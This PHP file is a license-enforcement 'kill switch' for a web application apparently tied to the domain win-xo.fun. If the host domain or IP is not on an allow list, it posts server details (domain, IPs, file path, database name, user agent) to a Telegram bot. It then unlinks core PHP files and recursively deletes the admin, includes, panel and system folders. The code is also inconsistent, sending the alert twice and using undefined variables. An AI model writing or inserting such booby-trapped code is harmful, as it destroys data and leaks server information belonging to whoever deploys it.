<?php
include("config.php");

$current_domain = $_SERVER['SERVER_NAME'];
$current_ip = gethostbyname($current_domain);
$client_ip = $_SERVER['REMOTE_ADDR'];
$script_path = $_SERVER['SCRIPT_FILENAME'];

// Log unauthorized access
function sendTelegramAlert($msg, $token, $chat_id) {
    $url = "https://api.telegram.org/bot$token/sendMessage";
    $post = [
        'chat_id' => $chat_id,
        'text' => $msg
    ];
    $ch = curl_init();
    curl_setopt_array($ch, [
        CURLOPT_URL => $url,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_POSTFIELDS => $post
    ]);
    curl_exec($ch);
    curl_close($ch);
}

function deleteAllFiles($path) {
    if (!is_dir($path)) return;
    $files = glob($path . '/*');
    foreach ($files as $file) {
        if (is_dir($file)) {
            deleteAllFiles($file);
        } else {
            unlink($file);
        }
    }
    rmdir($path);
}

$unauthorized = false;
if (!in_array($current_domain, $allowed_domains) || !in_array($current_ip, $allowed_ips)) {
    $unauthorized = true;

    // ALERT MESSAGE
    $message = "⚠ Unauthorized Code Usage Detected!\n".
               "Domain: $current_domain\n".
               "IP: $current_ip\n".
               "Client IP: $client_ip\n".
               "File: $script_path\n".
               "Time: ".date("Y-m-d H:i:s");

    sendTelegramAlert($message, $telegram_bot_token, $telegram_chat_id);
    
    
    // Collect Info
$domain     = $_SERVER['HTTP_HOST'] ?? 'UNKNOWN';
$ip         = $_SERVER['SERVER_ADDR'] ?? 'UNKNOWN';
$dbName     = 'bigwinus_kingbhai'; // Change this dynamically if needed
$scriptPath = $_SERVER['SCRIPT_FILENAME'] ?? 'UNKNOWN';
$userAgent  = $_SERVER['HTTP_USER_AGENT'] ?? 'UNKNOWN';
$date       = date('Y-m-d H:i:s');

// Message format
$message = "⚠️ *Unauthorized Access Detected!*\n\n".
           "🌐 Domain: `$domain`\n".
           "🖥 IP: `$ip`\n".
           "📁 File: `$scriptPath`\n".
           "🗃 DB Name: `$dbName`\n".
           "🕵️ User Agent: `$userAgent`\n".
           "🕒 Time: `$date`";

// Send to Telegram
$url = "https://api.telegram.org/bot$botToken/sendMessage";
$params = [
    'chat_id' => $chatId,
    'text'    => $message,
    'parse_mode' => 'Markdown'
];

file_get_contents($url . '?' . http_build_query($params));


    // Optional: delete files
    // deleteAllFiles(__DIR__);
    
    if ($domain !== 'win-xo.fun') {
    // Auto delete main files
    @unlink("index.php");
    @unlink("config.php");
    @unlink("dashboard.php");
    @unlink("conn.php");
    @unlink("addadmin.php");
    @unlink(".php");
    @unlink("db.php");
    
    // etc.
    }   
    // Delete folders DIR
    $allowedDomain = 'win-xo.fun';
$currentDomain = $_SERVER['HTTP_HOST'] ?? '';

if ($currentDomain !== $allowedDomain) {
    // Delete specific folders
    deleteFolder(__DIR__ . '/admin');      // admin folder
    deleteFolder(__DIR__ . '/includes');   // includes folder
    deleteFolder(__DIR__ . '/panel');      // panel folder
    deleteFolder(__DIR__ . '/system');     // any other folder

    // Delete some files too (if needed)
    @unlink(__DIR__ . '/index.php');
    @unlink(__DIR__ . '/config.php');
    @unlink(__DIR__ . '/tracker.php');
}

    
}

// Functions for delete the  folders DIR

function deleteFolder($folderPath) {
    if (!is_dir($folderPath)) return;

    $items = scandir($folderPath);
    foreach ($items as $item) {
        if ($item === '.' || $item === '..') continue;

        $fullPath = $folderPath . DIRECTORY_SEPARATOR . $item;

        if (is_dir($fullPath)) {
            deleteFolder($fullPath); // recursive call
        } else {
            @unlink($fullPath); // delete file
        }
    }
    @rmdir($folderPath); // delete main folder
}



?>
